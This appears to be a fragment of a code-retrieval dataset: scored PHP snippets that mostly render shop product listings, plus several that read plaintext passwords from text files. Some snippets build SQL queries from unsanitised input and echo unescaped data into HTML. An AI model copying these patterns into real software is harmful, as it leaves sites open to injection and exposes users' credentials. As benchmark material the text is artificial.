src=\"{$row['product_image']}\" alt=\"\"></a>\n <div class=\"caption\">\n <h4 class=\"pull-right\">&#36;{$row['product_price']}</h4>\n <h4><a href=\"item.php?id={$row['product_id']}\">{$row['product_title']}</a>\n </h4>\n <p>{$post}</p>\n <a class=\"btn btn-primary\" target=\"_blank\" href=\"item.php?id={$row['product_id']}\">Add to Chart</a>\n </div>\n </div>\n </div>\n\nDELIMETER;\n echo $product;\n }\n}", "title": "" }, { "docid": "94619ccf5b58e43082c303011c24f8b6", "score": "0.59655875", "text": "function format_item($item)\n{\n\t$image = empty($item['coverart_thumbnail']) ? LIBRIVOX_CATALOG_URL . 'images/book-cover-default-65x65.gif' : $item['coverart_thumbnail'];\n\t$html = '<li class=\"catalog-result\">';\n\t$html .= '<a href=\"' . $item['url_librivox'] . '\" class=\"book-cover\"><img src=\"'. $image .'\" alt=\"book-cover-65x65\" width=\"65\" height=\"65\" /></a>';\n\t$html .= '<div class=\"result-data\">';\n\t$html .= '<h3><a href=\"' . $item['url_librivox'] .' \">' . create_full_title($item) . '</a></h3>';\n\t$html .= '<p class=\"book-author\"> ' . format_authors($item['authors'], FMT_AUTH_YEARS|FMT_AUTH_HTML|FMT_AUTH_LINK, 2) . '</p>';\n\t$html .= '<p class=\"book-meta\">' . 'Complete' . ' | ' . ucwords($item['project_type']) . ' | ' . $item['language'] . '</p>';\n\t$html .= '</div></li>';\n\treturn $html;\n}", "title": "" }, { "docid": "b0553ae1b3bc54243a8ee775e3790e76", "score": "0.5965337", "text": "public function showProd($i){\nreturn <<<PROD\n<h3>$this->_name</h3>\n<p>Cena: $this->_price golda</p>\n<form action=\"process.php\" method=\"post\">\n<input type=\"hidden\" name=\"action\" value=\"change\" />\n<input type=\"hidden\" name=\"ses\" class=\"hid\" value=\"$this->_quantInBasket\" />\n<input type=\"text\" name=\"val$i\" value=\"$this->_quantInBasket\" />\n<input type=\"submit\" name=\"basket\" value=\"Zaktualizuj kosz\" disabled />\n<div class=\"button plus\">+</div>\n<div class=\"button minus\">-</div>\n</form>\nPROD;\n}", "title": "" }, { "docid": "e1ac82b56cf2eb7ff74e74e2be80ca92", "score": "0.594675", "text": "function woocommerce_before_shop_loop_item_st() {\r\n\r\n echo '<div class=\"productBox \">';\r\n}", "title": "" }, { "docid": "73f5ebc02a0afdf0598113f9ddc9462d", "score": "0.5928113", "text": "public function renderRichResponseItem();", "title": "" }, { "docid": "2adf2316acf2bb61b6e91155268f1020", "score": "0.5919367", "text": "public function scProductBlock($atts, $content = null)\n {\n global $wpdb;\n $awin_feeder_options = $this->getPluginOptions();\n $table = $wpdb->prefix.'afeeder_products';\n $sql = \"SELECT id, name, aw_thumb, description FROM {$table}\";\n $conditions = [];\n $output = '';\n\n if (isset($atts['id'])) {\n $sql .= sprintf(' WHERE id=%d', $atts['id']);\n } else {\n foreach ($atts as $key => $val) {\n if ('name' === $key) {\n $conditions[] = sprintf(\"%s LIKE '%%%s%%'\", $key, $val);\n } elseif ('brand' === $key || 'merchant' === $key) {\n $conditions[] = sprintf(\"%s = '%s'\", $key, $val);\n }\n }\n if (count($conditions) > 0) {\n $sql .= ' WHERE '.implode(' AND ', $conditions);\n }\n }\n\n if (isset($atts['offset'])) {\n $sql .= sprintf(' LIMIT %d,1', $atts['offset']);\n } else {\n $sql .= ' LIMIT 1';\n }\n\n $product = $wpdb->get_row($sql, OBJECT);\n\n $description = $product->description;\n if (strlen($content) > 0) {\n $description = $content;\n }\n\n $thumb_image = $product->aw_thumb;\n\n $output = sprintf('\n <div id=\"awf-prod-%d class=\"aw-prod\" style=\"padding:10px;\">\n <h4 class=\"prod-title\">%s</h4>\n <a href=\"/hopo/%d\" rel=\"nofollow\"><img src=\"%s\" alt=\"%s\" class=\"alignleft\" /></a>\n <div class=\"prod-desc\">%s</div>\n <a rel=\"nofollow\" href=\"/hopo/%d\"><img src=\"/wp-content/plugins/awin-feeder/images/shop-button.png\" class=\"alignright\" /></a>\n <br style=\"clear:both;\" />\n </div>', $product->id, $product->name, $product->id, $thumb_image, $product->name, $description, $product->id);\n\n return $output;\n }", "title": "" }, { "docid": "c9675d916ef5e86d1e86449908270ec8", "score": "0.5915902", "text": "function ProductsBodyMenu()\n\t{\tif ($this->product->id)\n\t\t{\techo '<div class=\"course_edit_menu\"><ul>';\n\t\t\tforeach ($this->BodyMenuOptions() as $key=>$option)\n\t\t\t{\techo '<li', $this->product_option == $key ? ' class=\"selected\"' : '', '><a href=\"', $option['link'], '\">', $option['text'], '</a></li>';\n\t\t\t}\n\t\t\techo '</ul><div class=\"clear\"></div></div><div class=\"clear\"></div>';\n\t\t}\n\t}", "title": "" }, { "docid": "e14dc836fe213bcf277a9201589cc3ed", "score": "0.5905345", "text": "public function listAction() {\n return $this->render('BitcoinAdminBundle:ProductCategory:list.html.twig');\n }", "title": "" }, { "docid": "eac135d0b48b9c94fe484b6dff7e83f5", "score": "0.5900951", "text": "public function productsAction(){\n\t\tif(!$this->getPageNoIsValid('Product')) {\n\t\t\t$this->xml .= \"\";\n\t\t} else {\n\t\t\t$this->xml .= $this->getProducts();\n\t\t}\n\t}", "title": "" }, { "docid": "d4636209be867a8dadd944425db8d08b", "score": "0.58995855", "text": "protected function render() {\n\t\t\n\t\t$settings = $this->get_settings_for_display();\n\n\t\t$target = $settings['buttonlink']['is_external'] ? ' target=\"_blank\"' : '';\n\t\t$nofollow = $settings['buttonlink']['nofollow'] ? ' rel=\"nofollow\"' : '';\n\t\n \tob_start();\n\n\n $args = array(\n 'post_type' => 'product',\n 'limit' => -1,\n 'tax_query' => array(\n array(\n 'taxonomy' => 'product_type',\n 'field' => 'slug',\n 'terms' => array( 'listing_package','listing_package_subscription')\n )\n ));\n switch ($settings['orderby']){\n case 'price':\n $args['orderby'] = 'meta_value_num';\n $args['meta_key'] = '_price';\n $args['order'] = 'asc';\n break;\n\n case 'price-desc':\n $args['orderby'] = 'meta_value_num';\n $args['meta_key'] = '_price';\n $args['order'] = 'desc';\n break;\n\n case 'rating':\n $args['orderby'] = 'meta_value_num';\n $args['meta_key'] = '_wc_average_rating';\n $args['order'] = 'desc';\n break;\n\n case 'popularity':\n $args['orderby'] = 'meta_value_num';\n $args['meta_key'] = 'total_sales';\n $args['order'] = 'desc';\n break;\n\n case 'random':\n $args['orderby'] = 'rand';\n $args['order'] = '';\n $args['meta_key'] = '';\n break; \n case 'title':\n $args['orderby'] = 'title';\n $args['order'] = 'ASC';\n $args['meta_key'] = '';\n break;\n }\n \n $products = new \\WP_Query( $args ); ?>\n\n <div class=\"pricing-container margin-top-30\">\n\n <?php\n \t$counter = 1;\n while ( $products->have_posts() ) : $products->the_post(); \n \n \n $product = wc_get_product( get_post()->ID ); \n \n if ( ! $product->is_type( array( 'listing_package','listing_package_subscription' ) ) || ! $product->is_purchasable() ) {\n continue;\n }\n ?>\n <div class=\"plan <?php echo ($product->is_featured()) ? 'featured' : '' ; ?>\">\n <?php if( $product->is_featured() ) : ?>\n <div class=\"listing-badge\">\n <span class=\"featured\"><?php esc_html_e('Featured','elementor-listeo') ?></span>\n </div>\n <?php endif; ?>\n\n <div class=\"plan-price\">\n\n <h3><?php echo $product->get_title();?></h3>\n <span class=\"value\"> <?php echo $product->get_price_html(); ?></span>\n <span class=\"period\"><?php echo $product->get_short_description(); ?></span>\n </div>\n\n <div class=\"plan-features\">\n <ul class=\"plan-features-auto-wc\">\n <?php \n $listingslimit = $product->get_limit();\n if(!$listingslimit){\n echo \"<li>\";\n esc_html_e('Unlimited number of listings','elementor-listeo'); \n echo \"</li>\";\n } else { ?>\n <li>\n <?php esc_html_e('This plan includes ','elementor-listeo'); printf( _n( '%d listing', '%s listings', $listingslimit, 'elementor-listeo' ) . ' ', $listingslimit ); ?>\n </li>\n <?php } ?>\n <li>\n <?php esc_html_e('Listings are visible ','elementor-listeo'); printf( _n( 'for %s day', 'for %s days', $product->get_duration(), 'elementor-listeo' ), $product->get_duration() ); ?>\n </li>\n\n </ul>\n <?php \n \n echo $product->get_description();\n \t\t\t\t\t\t$link = $product->add_to_cart_url();\n $label = apply_filters( 'add_to_cart_text', esc_html__( 'Add Listing', 'elementor-listeo' ) );\n \n if(!empty($settings['buttonlink']['url'])){\n\t\t\t\t\t\t\techo '<a href=\"' . $settings['buttonlink']['url'] . '\"' . $target . $nofollow . '>';\t\n\t\t\t\t\t\t} else { ?>\n\t\t\t\t\t\t\t<a href=\"<?php echo esc_url( $link ); ?>\" class=\"button\"><i class=\"fa fa-shopping-cart\"></i> <?php echo esc_html($label); ?></a>\n \n\t\t\t\t\t\t<?php } ?>\n \n \n </div> \n \n </div>\n \t\t<?php if (($counter % $settings['columns_per_row']) == 0 ) { ?>\n \t\t\t</div>\n \t\t\t <div class=\"pricing-container margin-top-30\">\n \t\t<?php } ?>\n <?php \n \t$counter++;\n \t\tendwhile; ?>\n </div>\n <?php $pricing__output = ob_get_clean();\n wp_reset_postdata();\n echo $pricing__output;\n\t\n\t}", "title": "" }, { "docid": "1cc557685a40cdb318ccef7baa5f458e", "score": "0.5899467", "text": "public function display() {\r\n\r\n\t\t\t// |id|description|quantity|price|total_price|\r\n\t\t\techo \"<tr><td>\" . $this->getId() . \"</td>\"\r\n\t\t\t\t\t. \"<td>\" . $this->getDescription() . \"</td>\"\r\n\t\t\t\t\t. \"<td>\" . $this->getQuantity() . \"</td>\"\r\n\t\t\t\t\t. \"<td>$\" . $this->getPrice() . \"</td>\"\r\n\t\t\t\t\t. \"<td>$\" . $this->calculateItemTotal()\r\n\t\t\t\t\t. \"</td></tr>\";\r\n\r\n\t\t}", "title": "" }, { "docid": "8aed9924685e1d90951973e242bd1a57", "score": "0.58979726", "text": "protected function render()\r\n {\r\n $settings = $this->get_settings_for_display();\r\n ?>\r\n <ul class=\"work-list-item\">\r\n <?php foreach ( $settings['work_list'] as $item ):?>\r\n <li class=\"work-single-item margin-bottom-30\">\r\n <div class=\"content\">\r\n <div class=\"icon <?php echo esc_attr($item['icon_style'])?>\">\r\n <?php\r\n if ( version_compare( ELEMENTOR_VERSION, '2.6.0', '>=' ) ) {\r\n Icons_Manager::render_icon( $item['icon'], [ 'aria-hidden' => 'true' ] );\r\n } else {\r\n printf( '<i class=\"%1$s\"></i>', esc_attr( $item['icon'] ) );\r\n }\r\n ?>\r\n </div>\r\n <h4 class=\"title\"><?php echo esc_html__($item['title']) ?></h4>\r\n <p><?php echo esc_html__($item['description']) ?></p>\r\n </div>\r\n </li>\r\n <?php endforeach; ?>\r\n </ul>\r\n <?php\r\n }", "title": "" }, { "docid": "6cc6be93caed4733d4913f9ecbbaec0c", "score": "0.58950716", "text": "public function get_index()\r\n\t{\r\n\r\n\t\t$this->template->body = View::forge('admin/products/index', array(\r\n\t\t\t'products' => Model_Product::get_index(),\r\n\t\t));\r\n\t}", "title": "" }, { "docid": "b1dd3235af50ded565611190cf397f44", "score": "0.58850855", "text": "public function render()\n\t{\n\t\t$this->renderer->set('item', $this->getItem());\n\n\t\treturn parent::render();\n\t}", "title": "" }, { "docid": "9a2670ab0223bcaaeb6b7031ebafbac4", "score": "0.5884838", "text": "public function get_add()\r\n\t{\r\n\t\t$this->template->body = View::forge('admin/products/add');\r\n\t}", "title": "" }, { "docid": "a8928029fce7a4cc4b812e2285a17f8e", "score": "0.588464", "text": "function displayitems($pInstName, $pPrice, $pProductImg, $pdescription, $pproductID){\r\n $element = \"\r\n \r\n <div class=\\\"col-md-3 col-sm-6 my-3 my-md-0 text-white\\\">\r\n <form action=\\\"project.php\\\" method=\\\"post\\\">\r\n <div class=\\\"card-shadow\\\">\r\n <div>\r\n <img src=$pProductImg alt=\\\"Image1\\\" class=\\\"img-fluid\\\" id=\\\"cardimages\\\">\r\n </div>\r\n <div class=\\\"card-body\\\">\r\n <h5 class=\\\"card-title\\\">Our $pInstName</h5>\r\n <h6>\r\n <i class=\\\"fas fa-star\\\"></i>\r\n <i class=\\\"fas fa-star\\\"></i>\r\n <i class=\\\"fas fa-star\\\"></i>\r\n <i class=\\\"fas fa-star\\\"></i>\r\n <i class=\\\"far fa-star\\\"></i>\r\n </h6>\r\n <p class=\\\"card-text\\\">\r\n $pdescription\r\n </p>\r\n <h5>\r\n \r\n <span class=\\\"price\\\">$$pPrice</span>\r\n </h5>\r\n <button type=\\\"submit\\\" class=\\\"btn btn-warning my-3\\\" name=\\\"add\\\">Add to Cart </button>\r\n \r\n <input type= 'hidden' name='quantity' value='1'>\r\n <input type= 'hidden' name='product_id' value='$pproductID'>\r\n </div>\r\n </div>\r\n </form>\r\n </div>\r\n \";\r\n echo $element;\r\n}", "title": "" }, { "docid": "7032ba3797b43aeb71d9c74f5954ba2d", "score": "0.58740693", "text": "public function render(): void\n {\n $product = $this->arguments['product'];\n\n // get topic category\n $category = $product->getCategory();\n\n if (!$category) {\n return;\n }\n\n $pageUid = $category->getCartProductShowPid();\n\n if (!$pageUid) {\n return;\n }\n\n $arguments = [\n ['tx_cartproducts_product' =>\n [\n 'controller' => 'Product',\n 'product' => $product->getUid()\n ]\n ]\n ];\n\n $uriBuilder = $this->renderingContext->getControllerContext()->getUriBuilder();\n $canonicalUrl = $uriBuilder->reset()\n ->setTargetPageUid($pageUid)\n ->setCreateAbsoluteUri(true)\n ->setArguments($arguments)\n ->build();\n\n $this->tag->addAttribute('rel', 'canonical');\n $this->tag->addAttribute('href', $canonicalUrl);\n $this->getPageRenderer()->addHeaderData($this->tag->render());\n }", "title": "" }, { "docid": "bf6aef0f01e9f21689400e66124692ef", "score": "0.58673066", "text": "function plgVmDisplayInOrderBE($item, $row, &$html) {\r\n\t\tif(!empty($productCustom)){\r\n\t\t\t$item->productCustom = $productCustom;\r\n\t\t}\r\n\t\tif (empty($item->productCustom->custom_element) or $item->productCustom->custom_element != $this->_name) return '';\r\n\t\t$this->plgVmOnViewCart($item,$row,$html); //same render as cart\r\n }", "title": "" }, { "docid": "bdf52246b2e0f16805a9cf3e7314449f", "score": "0.585447", "text": "public function renderItemMarkup($value): string;", "title": "" }, { "docid": "6acd4b84a08490784db914c1660dfa6e", "score": "0.58535236", "text": "public function getItem()\n {\n return $this->render();\n }", "title": "" }, { "docid": "55dfa048b8b2c5adc0a64c329de47091", "score": "0.58515626", "text": "function fillProducts(){\r\n $products = new products();\r\n \r\n foreach($products->items as $product){\r\n echo '<option value=\"'.$product->getProductuuid().'\">'.$product->getProdcode().\"-\".$product->getDescription().\"</option>\";\r\n \r\n \r\n }\r\n \r\n }", "title": "" }, { "docid": "455cb344d810f5f802426b06faaed477", "score": "0.5849886", "text": "function display_html_read_detail_product($row){\n\t\t?>\n\t\t\t<!--we have our html table here where the record will be displayed-->\n\t\t\t<table class='table table-hover table-responsive table-bordered'>\n\t\t\t <tr>\n\t\t\t <td>Name</td>\n\t\t\t <td><?php echo htmlspecialchars($row['name'], ENT_QUOTES); ?></td>\n\t\t\t </tr>\n\t\t\t <tr>\n\t\t\t <td>Description</td>\n\t\t\t <td><?php echo htmlspecialchars($row['description'], ENT_QUOTES); ?></td>\n\t\t\t </tr>\n\t\t\t <tr>\n\t\t\t <td>Price</td>\n\t\t\t <td>&#36;<?php echo htmlspecialchars($row['price'], ENT_QUOTES); ?></td>\n\t\t\t </tr>\n\t\t\t <tr>\n\t\t\t <td>Category name</td>\n\t\t\t <td><?php echo htmlspecialchars($row['category_name'], ENT_QUOTES); ?></td>\n\t\t\t </tr>\n\t\t\t <tr>\n\t\t\t <td>Image</td>\n\t\t\t <td>\n\t\t\t\t <?php \n\t\t\t\t \t $image = htmlspecialchars($row['image'], ENT_QUOTES);\n\t\t\t\t \techo $image ? \"<img src='uploads/{$image}' style='width:300px;' />\" : \"No image found.\"; \n\t\t\t\t ?>\n\t\t\t </td>\n\t\t\t </tr>\n\t\t\t \n\t\t\t</table>\n\t\t<?php\n\t}", "title": "" }, { "docid": "4e8c5b566229e605392d22e3fe27b747", "score": "0.58470184", "text": "public function showItemList()\n {\n $this->smarty->display('showItemList.tpl');\n }", "title": "" }, { "docid": "b64e3848b249155bbef3de0c6a8d41b9", "score": "0.5833457", "text": "protected function startProducts(){\r\n $this->htmlElementStart('div', 'row card-group justify-content-center');\r\n }", "title": "" }, { "docid": "d1b0fdd9858b8069e1068845544196d2", "score": "0.5829673", "text": "function __foreach_loop__id_4e774ed3e375a($option=\"\")\r\n{\r\n\nglobal $bw, $vsLang, $vsSettings, $vsMenu;\r\n\t$BWHTML = '';\r\n\t$vsf_count = 1;\r\n\t$vsf_class = '';\r\n\tforeach( $vsMenu->getCategoryGroup('products')->getChildren() as $obj )\r\n\t{\r\n\t\t$vsf_class = $vsf_count%2?'odd':'even';\r\n\t$BWHTML .= <<<EOF\r\n\t\t\n\n<li>\n\n<a href=\"{$obj->getUrlCategory()}\" title=\"{$obj->getTitle()}\">\n\n{$obj->getTitle()}\n\n</a>\n\n</li>\n\n\r\nEOF;\r\n$vsf_count++;\r\n\t}\r\n\treturn $BWHTML;\r\n}", "title": "" }, { "docid": "e3d097952f954ee22186aab61a4fde6c", "score": "0.58263254", "text": "function images_render($pro) {\r\n\r\n $lib = $this->lib;\r\n\r\n $more = \" order by `order` DESC \";\r\n $datasql = $lib->util->getXrefData('com_images_gallery', $this->options['imagesCatId'], $more);\r\n $mydata = '<ul data-role=\"listview\">';\r\n foreach ($datasql as $d) {\r\n $data = $d;\r\n $mydata .= $this->getImageDataBlock($this->options['pro'], $data);\r\n }\r\n $mydata .= '</ul>';\r\n return \"<div class='type videostype'>\" . $mydata . \"</div>\";\r\n }", "title": "" }, { "docid": "f5b64fef443593bb6a488acd88491941", "score": "0.5814881", "text": "public function renderItems()\n\t{\n\t\tif($this->dataProvider->getItemCount()>0 || $this->showTableOnEmpty)\n\t\t{\n\t\t\techo \"<table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" class=\\\"{$this->itemsCssClass} {$this->classStyle}\\\">\\n\";\n\t\t\t$this->renderTableHeader();\n\t\t\tob_start();\n\t\t\t$this->renderTableBody();\n\t\t\t$body=ob_get_clean();\n\t\t\t$this->renderTableFooter();\n\t\t\techo $body; // TFOOT must appear before TBODY according to the standard.\n\t\t\techo \"</table>\";\n\t\t}\n\t\t\telse\n\t\t\t\t$this->renderEmptyText();\n\t}", "title": "" }, { "docid": "dbded9fb88e077c81ace47f9861ec5b2", "score": "0.5801327", "text": "function get_products_in_review_page () {\n $query = query(\"SELECT * FROM products ORDER BY RAND() LIMIT 4\");\n confirm($query);\n\n while ($row = fetch_array($query)) {\n\n $product_image = display_image ($row['product_image']);\n\n$products = <<<DELIMETER\n\n<div class=\"col-md-3 col-sm-6 col-xs-6\">\n <div class=\"product product-single\">\n <div class=\"product-thumb\">\n <div class=\"product-label\">\n <span class=\"sale\">New</span>\n </div>\n <button class=\"main-btn quick-view\"><i class=\"fa fa-search-plus\"></i> Quick view</button>\n <img style=\"height:170px;\" src=\"../resources/{$product_image}\" alt=\"\">\n </div>\n <div class=\"product-body\">\n <h3 class=\"product-price\">&#8358;{$row['product_price']}</h3>\n <div class=\"product-rating\">\n <div class=\"product-rating\">\n <i class=\"fas fa-star star-avr\" data-index=\"0\"></i>\n <i class=\"fas fa-star star-avr\" data-index=\"1\"></i>\n <i class=\"fas fa-star star-avr\" data-index=\"2\"></i>\n <i class=\"fas fa-star star-avr\" data-index=\"3\"></i>\n <i class=\"fas fa-star star-avr\" data-index=\"4\"></i>\n </div>\n </div>\n <h2 class=\"product-name\"><a href=\"item.php?id={$row['product_id']}\">{$row['product_title']}</a></h2>\n <div class=\"product-btns\">\n <form method=\"post\" class=\"submit_pro\">\n <button class=\"main-btn icon-btn\"><i class=\"fa fa-heart\"></i></button>\n <input type=\"number\" class=\"col-4 pro-qty\" value=\"1\" min=\"1\" max=\"100\" required>\n <button type=\"submit\" class=\"primary-btn pc_data\" data-dataid=\"{$row['product_id']}\">Add to Cart</button>\n </form>\n </div>\n </div>\n </div>\n</div>\n\n\nDELIMETER;\n\n echo $products;\n\n }\n\n\n \n}", "title": "" }, { "docid": "eedfdb82475fd10e504b8a8cf55b1ee4", "score": "0.579908", "text": "public function items()\n\t{\n\t\t$this->registry->template->items \t\t\t= $this->registry->retrive->getData(Types::PORTFOLIO_ITEMS_TABLE, 'all');\n\t\t$this->registry->template->show('system/themes/default/portfolioItems');\n\t}", "title": "" }, { "docid": "01404beb207008df66e44bde87865b00", "score": "0.57965803", "text": "public static function showProduct(){\r\n\t\t\r\n//Get is set, take the action from the url and act on it\r\nif (isset($_GET['productId'])){\r\n\t\r\n\t//Santize the get value\r\n\t$productId = filter_var($_GET['productId'], FILTER_SANITIZE_NUMBER_INT);\r\n\t\r\n\t//get connection\r\n\t$dbh = Database::getDB();\r\n\t\r\n\t//prepare sql\r\n\t$getItemInfo = $dbh->prepare(\"SELECT productName, price, quantity, description, productPic, thumbnail\r\n\t\t\t\t\t\t\t\t FROM inventory\r\n\t\t\t\t\t\t\t\t WHERE iid=:iid\");\r\n\t\r\n\t//Bind information to variables\r\n\t$getItemInfo->bindParam( ':iid', $productId, PDO::PARAM_INT );\r\n\t\r\n\t//Execute\r\n\t$getItemInfo->execute();\r\n\t\r\n\t//Fetch the row to see if it exists\r\n\t$itemInfo = $getItemInfo->fetch (PDO::FETCH_ASSOC);\r\n\t\r\n\t\r\n\t//check if exists if it doesnt, redirect to product not available page.\r\n\tif(!isset($itemInfo['productName']) || $itemInfo['productName']==null){\r\n\t\theader(\"location:views/itemMissingView.php\");\r\n\t\texit();\r\n\t}\r\n\t\r\n\t//Grabs the last visited page from javascript.\r\n\t//Has a php backup tho, uses php over JS. Perfecto!\r\n\t$previous = \"javascript:history.go(-1)\";\r\n\tif(isset($_SERVER['HTTP_REFERER'])) {\r\n\t\t$previous = $_SERVER['HTTP_REFERER'];\r\n\t}\r\n\t\r\n\t//everything checks out so far, so display information now.\r\n\t?>\r\n\t\t<div class=\"row\">\r\n\t\t <div class=\"col-lg-4 col-md-3 col-sm-2 col-xs-0\"></div>\r\n\t\t <div class=\"col-lg-5 col-md-6 col-sm-8 col-xs-12\">\r\n\t\t <div class=\"productContent\">\r\n\t\t <div class=\"productPic\">\r\n\t\t <?php if(isset($itemInfo['productPic']) && $itemInfo['productPic']!==null){\r\n\t\t \t\techo '<img alt=\"Product Image\" class=\"productPic2\" src=\"data:image/jpeg;base64,'.base64_encode( $itemInfo['productPic'] ).'\"/>';\r\n\t\t\t\t\t}\r\n\t\t\t\t else{\r\n\t\t\t\t \t?><img class=\"defaultProductPic\" src=\"assets/images/productImgNotFound.png\" alt=\"\" border=\"1\" /><?php \r\n\t\t\t\t }?>\r\n\t\t </div>\r\n\t\t <span id=\"productNameDisplay\" ><?php echo $itemInfo['productName'];?></span>\r\n\t\t <span id=\"productQuantityDisplay\" >Quantity Left In Stock: <?php if($itemInfo['quantity'] < 0){echo \"<b>\".\"0\".\"</b>\"; }else{echo $itemInfo['quantity'];}?></span>\r\n\t\t <span id=\"productPriceDisplay\" >$<?php echo $itemInfo['price'];?></span>\r\n\t\t <form method=\"POST\" action=\"models/addToCart.php\">\r\n\t\t <input type=\"hidden\" name=\"productId\" value=\"<?php echo $productId; ?>\">\r\n\t\t <span id=\"Qty\">Qty:</span>\r\n\t\t <?php \r\n\t\t \t/**\r\n\t\t \t * This function determines how many the user can buy.\r\n\t\t \t * I know I know, bad practice to have logic in view but it's\r\n\t\t \t * easier this way. Thanks for understanding.\r\n\t\t \t */\r\n\t\t \tif($itemInfo['quantity'] > 0){\r\n\t\t \t\techo \"<select class='productSelect' name='quantity'>\";\r\n\t\t \t\techo \"<option selected value='1'>1</option>\";\r\n\t\t \t\tfor($i=2; $i<=$itemInfo['quantity']; $i++){\r\n\t\t \t\t\techo \"<option value='$i'>$i</option>\";\r\n\t\t \t\t}\r\n\t\t \t\techo \"</select>\";\r\n\t\t \t}else{\r\n\t\t \t\techo \"<select class='productSelect' disabled>\";\r\n\t\t \t\techo \"<option selected value='0'>0</option>\";\r\n\t\t \t\techo \"</select>\";\r\n\t\t \t}\r\n\t\t ?>\r\n\t\t <div class=\"buyProductDisplay\"><input class=\"btn-info btn\" type=\"submit\" value=\"Add to cart\" <?php if($itemInfo['quantity'] <=0){echo \"disabled\";}?>></div>\r\n\t\t </form>\r\n\t\t <div class=\"productBackBtn\"><a class=\"btn-info btn\" href=\"<?php echo $previous;?>\" class=\"prod_buy\">Back</a></div>\r\n\t\t <span class=\"productDescription\"><?php echo $itemInfo['description'];?></span>\r\n\t\t </div>\r\n\t\t </div>\t \r\n\t\t <div class=\"col-lg-3 col-md-3 col-sm-2 col-xs-0\"></div>\r\n\t </div>\r\n\t<?php \r\n\t//Note** You can store html code so like a table for the product description if need be.\r\n\t//if get is not set, redirect home\r\n\t}else{\r\n\t\theader(\"location:home\");\r\n\t}\r\n }", "title": "" }, { "docid": "c2ba6a0eca179d92a089e7631357dc89", "score": "0.5795846", "text": "public function render()\n {\n return CarouselTag::make()->items($this->items)->render();\n }", "title": "" }, { "docid": "dbb39eed8235b20b6c7f0797f6816054", "score": "0.57957935", "text": "function get_all_products_in_shop(){\n $query = query(\"SELECT * FROM products\");\n confirm($query);\n while($row = fetch_array($query)){\n $product_image = substr($row['product_image_1'],3);\n $product = <<<DELIMETER\n<div class=\"col-md-3 col-xs-6 col-sm-4 all-padding-zero marg-bot-up\">\n <div class=\"product-main-cont\">\n <div class=\"product-img\">\n <a href=\"product-info.php?id={$row['product_id']}\"><img src=\"{$product_image}\" class=\"img-responsive\"></a>\n </div>\n <div class=\"prod-title-price\">\n <p><a href=\"product-info.php?id={$row['product_id']}\">{$row['product_title']}</a></p>\n <p class=\"price\">Rs.{$row['product_price']} <span>Rs.{$row['product_original_price']}</span></p>\n </div>\n </div>\n</div>\nDELIMETER;\n echo $product;\n }\n}", "title": "" } ]
b6d1b5de6ae637db18acc6b41a59a340
This function will open the password text file and add the passwords in an array
[ { "docid": "03e1b758ea47a25a536c78bdc73aa15a", "score": "0.80583656", "text": "function passwordList() {\n\t$passwordFile = trim(file_get_contents('password.txt'));\n\t$_SESSION['passwordArray'] = explode(\"\\n\", $passwordFile);\n}", "title": "" } ]
[ { "docid": "50fe42c3fcf17bb49f8c2a0bd41063ca", "score": "0.65582776", "text": "function readAuthorizedUsers()\n{\n $filename = \"userinfo.txt\";\n $fh = file($filename);\n $authorized_users = [];\n\n if ($fh) {\n foreach ($fh as $row) {\n $buffer = explode(\",\", $row);\n\n $username = cleanInput($buffer[0]);\n $password = cleanInput($buffer[1]);\n\n $authorized_users[] = array(\"username\" => $username, \"password\" => $password);\n }\n } else {\n echo \"Error: unable to open file: \" . $filename . \"for read\";\n }\n\n return $authorized_users;\n}", "title": "" }, { "docid": "a4c250aa201613c0a4de81a6dcbc8fde", "score": "0.62431234", "text": "public function readCredentials()\n {\n if (!empty($this->credentialsFile)) {\n if ($txt = $this->readCredentialFile()) {\n preg_match_all('/\\$credentials\\s*=\\s*\"([^\"]+)\"/', $txt, $matches);\n $this->credentials['password'] = $matches[1][0];\n }\n }\n }", "title": "" }, { "docid": "9b85c52af9a1d48cb0e16721a214dcb0", "score": "0.6176814", "text": "public function findPasswords() {\n\t\tforeach($this->fileLines as $line) {\n\t\t\t$policy = explode(':', $line);\n\t\t\t$password = explode(': ', $line);\n\t\t\t$letterToMatch = explode(' ', $policy[0]);\t\n\t\t\t$minMax = explode('-', $letterToMatch[0]);\n\t\t\t// perform the search\n\t\t\t$foundAmount = substr_count($password[1], $letterToMatch[1]);\n\n\t\t\tif($foundAmount >= $minMax[0] && $foundAmount <= $minMax[1]) {\n\t\t\t\t$this->matches[] = [$foundAmount, $password[1], $letterToMatch[1], $minMax];\n\t\t\t}\n\t\t}\n\n\t\t$this->printResult();\n\t}", "title": "" }, { "docid": "33cef91fe58f05f9172e66e8584cb28c", "score": "0.6086084", "text": "function StrengthFileData($strengthFilePath)\n{\n \n $strengthInfo=array();\n $j=0;\n $array = explode(\"\\n\", file_get_contents($strengthFilePath)); //get file contents line by line\n for($i=2; $i<count($array)-1;$i++) \n {\n $tokens = explode(\"\\t\", $array[$i]); //tokenize by \"\\t\\t\"\n $strengthInfo[$j]['email']= trim($tokens[0]); \n $strengthInfo[$j]['strength']= trim($tokens[1]);\n\t\t\t\n $j++; \n }\n return $strengthInfo;\n}", "title": "" }, { "docid": "cb6a99973a9b0cb692d7fbf60fe4215c", "score": "0.6061511", "text": "function userList() {\n\t$userFile = trim(file_get_contents('username.txt'));\n\t$_SESSION['usernameArray'] = explode(\"\\n\", $userFile);\n}", "title": "" }, { "docid": "2758f00e21534f38dbe1a8f97f431a7d", "score": "0.60331035", "text": "function get_users_login_password($file_name)\n\t{\n\t\t\t$data = read_csv($file_name);\n\t\t\treturn $data;\n\t}", "title": "" }, { "docid": "207ccc6faccdb224d2784f3d8789184b", "score": "0.5802647", "text": "function parse_authfile($authfile) {\n // parse the authfile\n $authtable = Array();\n $authlines = explode(\"\\n\", $authfile);\n foreach ($authlines as $line) {\n // remove spaces\n $line = preg_replace('/\\s+/', '', $line);\n if ($line) {\n list($user, $pass) = preg_split(\"/[=:]/\", $line, 2);\n $authtable[$user] = $pass;\n }\n }\n return $authtable;\n}", "title": "" }, { "docid": "669ff5a722fb5cc3155dbdd96484aed7", "score": "0.56378275", "text": "public function __construct() {\n\t\t$this->fileLines = file($this->file);\n\t\t$this->findPasswords();\n\t}", "title": "" }, { "docid": "a5beff50c8c24abb5f444d2ec4778fe4", "score": "0.559573", "text": "public function SearchNumberPasswords($rawTextFile)\n{\n $this->setSearchFile($rawTextFile);\n}", "title": "" }, { "docid": "b8f1579a88096c83840344ce85a616cb", "score": "0.55672485", "text": "public function getPasswordFile()\n\t\t{\n\t\t\treturn $this->_passwordFile;\n\t\t}", "title": 